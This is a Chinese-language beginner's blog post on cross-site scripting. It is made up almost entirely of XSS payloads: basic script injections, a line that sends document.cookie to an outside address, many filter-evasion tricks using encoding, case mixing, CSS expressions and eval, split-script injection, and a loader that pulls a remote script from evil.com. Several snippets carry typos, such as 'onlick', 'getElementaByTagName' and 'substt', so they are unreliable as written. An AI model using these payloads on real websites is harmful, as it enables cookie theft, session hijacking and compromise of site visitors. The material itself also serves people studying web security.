XSS_1

作者: 酒竹 | 来源:发表于2018-11-17 13:14 被阅读0次

    简介:

    初学xss,xss分为三类。包括反射型,储存型和基于DOM型

    一.XSS使用方法

    1.简单XSS

    <script>alert("XSS");</script>
    <script src="地址"></script>
    <script>location.href="地址?cookie="+escape(document.cookie)</script>
    

    所有代码

    2.绕过XSS-Filter

    (1)利用<>标记注射html/javascript

    <script>alert("xss");</script>
    

    (2)利用html标签执行xss(需支持JavaScript:[code]伪协议)

    <table background="javascript:alert(/xss/)"></table>
    <img src="javascript:alert('xss');">
    

    href= lowsrc= bgsound= background= value= action= dynsrc=这些都可以用来尝试

    (3)空格回车Tab

    <img src="javas cript:alert(/xss/)" width=100>
    

    注意中间的间隔是由Tab添加的。当然也可以使用空格,回车
    原因主要是因为 javascript通常以;结尾,所以,没有把换行符解释为终止符

    (4)对标签属性值转码

    原句:<img src="javascript:alert('xss');">
    转码后:<img src="javascrip&#116&#58alert(/xss/);">
    

    可以看出将t的ASCII码116用"&#116"表示,:表示为"&#58"
    同理,也可以将&#01,&#02等插入到javascript或VBScript的头部;
    Tab的&#9和换行的&#10和回车的&#13可以被插入到任意地方。
    &#01相当于&#1,&#09相当于&#09;

    (5)产生自己的事件

    <input type="button" value="click me" onlick="alert('click me') />
    <img src="#" onerror=alert(/xss/)>
    

    当鼠标点击按钮后,触发事件。或者加载图片出错,触发事件。
    (onerror是img标记的一个事件,只要页面中发生错误,就被触发)

    (6)利用css跨站

    <div style="background-image:url(javascript:alert('xss'))">
    <style>
        body {background-image: url("javascript:alert('xss')");>
    </style>
    //IE5以后支持expression
    <div style="width: expression(javascript:alert('xss'))">
    <img src="#" style="xss:expression(alert(/xss/));">
    <style>
        body {background-image: expression(alert("xss"));>
    </style>
    

    同样也可以将xss代码,写在文件里,利用link或者@import将其导入,
    已达到注入的目的

    (7)扰乱过滤规则

    正常的:
    <img src="javascript:alert(0);">
    转换大小写:
    <IMG SRC="javascript:alert(0);">
    大小写混合:
    <iMg sRC="javascript:alert(0);">
    不用双引号用单引号:
    <img src='javascript:alert(0);'>
    不用引号:
    <img src=javascript:alert(0);>
    没有空格:
    <img/src="mars.png"alt="mars";>
    <img/src="javascript:alert('xss');">
    使用expression时构造全角字符:
    <div style="{ left:expression( alert('xss') ) }">
    样式表中用/**/或\或\0都被忽略:
    <div style="wid/****/th: espre/*XSS*/ssion(alert('xss'))">
    @\0im\port'\0ja\vasc\ript:alert("xss")';
    css中关键字转码:
    <p style="xss:\65xpression(alert(/xss/))">
    个别浏览器问题:
    <!--<img src="--><img src=x onerror=alert(1)//">
    

    转换大小写,大小写混合,不用双引号用单引号,不用引号,没有空格,
    使用expression时构造全角字符,样式表中用/**/或\或\0都被忽略,
    css中关键字转码,个别浏览器问题等都可以用来过滤

    3.利用字符编码

    十进制转码:
    <img src="&#106&#97......">
    也可以在十进制字符后加;或&#0 &#00 &#0;等。例:
    <img src="&#106;&#97;......">
    <img src="&#00106&#0097......">
    <img src="&#00000106;&#0000097;......">
    

    除了十进制也可用十六进制。
    在javascriptzj中有一个eval()函数,可以用\连接十六进制字符串,
    然后用eval()执行

    <script>eval("\x61\x6c......");</script>
    

    eval()也可以执行十进制,不过需要String.fromCharCode()函数配合
    string.fromcharcode()用于将字符串转化为ASCII

    原码:<img src="javascript:eval(alert('xss'))">
    转换后:<img src=javascript:eval(String.fromCharCode(97,108,101......))">
    

    此外,样式表等也支持用\连接十六进制
    还有加密等方法
    "### 4.拆分跨站法

    由于字数限制等原因,将注入代码拆分开来写
    <script>z='document.'</script>
    <script>z=z+'write("'</script>
    <script>z=z+'<script'</script>
    <script>z=z+' src=ht'</script>
    <script>z=z+'tp://ww'</script>
    <script>z=z+'w.shell'</script>
    <script>z=z+'.net/1.'</script>
    <script>z=z+'js></sc'</script>
    <script>z=z+'ript>")'</script>
    <script>eval(z)</script>
    

    在使用拆分法时如果是一次注入,可以用/**/将中间的代码注释掉

    4.Shellcode的调用

    (1)远程调用JS

    var s=document.createElement("script");//创建新元素script
    s.src="http://www.evil.com/xss.js";
    //把script的src属性设置成http ,xss.js里有shellcode代码
    document.getElementaByTagName("head")[0].appendChild(s);
    /*查找并返回文档的第一个元素,再用appendChild()调用元素
    参数s,追加到指定节点的子节点列表的最后一个*/
    

    (2)使用window.location.hash

    http...?sort="><script>eval(location.hash.substt(1))</script>#alert('xss')
    

    subst()可从字符串中抽取start(这里是1)开始的指定字符,即alert('xss')

    (3)XSS Downloader

    可以利用XMLHTTP技术等方法,远程读取shellcode代码

    (4)备选储存技术

    因为cookie等是客户端储存,可以利用XSS储存进去,然后把相关信息打印出来

    相关文章

      网友评论

          本文标题:XSS_1

          本文链接:https://www.haomeiwen.com/subject/ugbbfqtx.html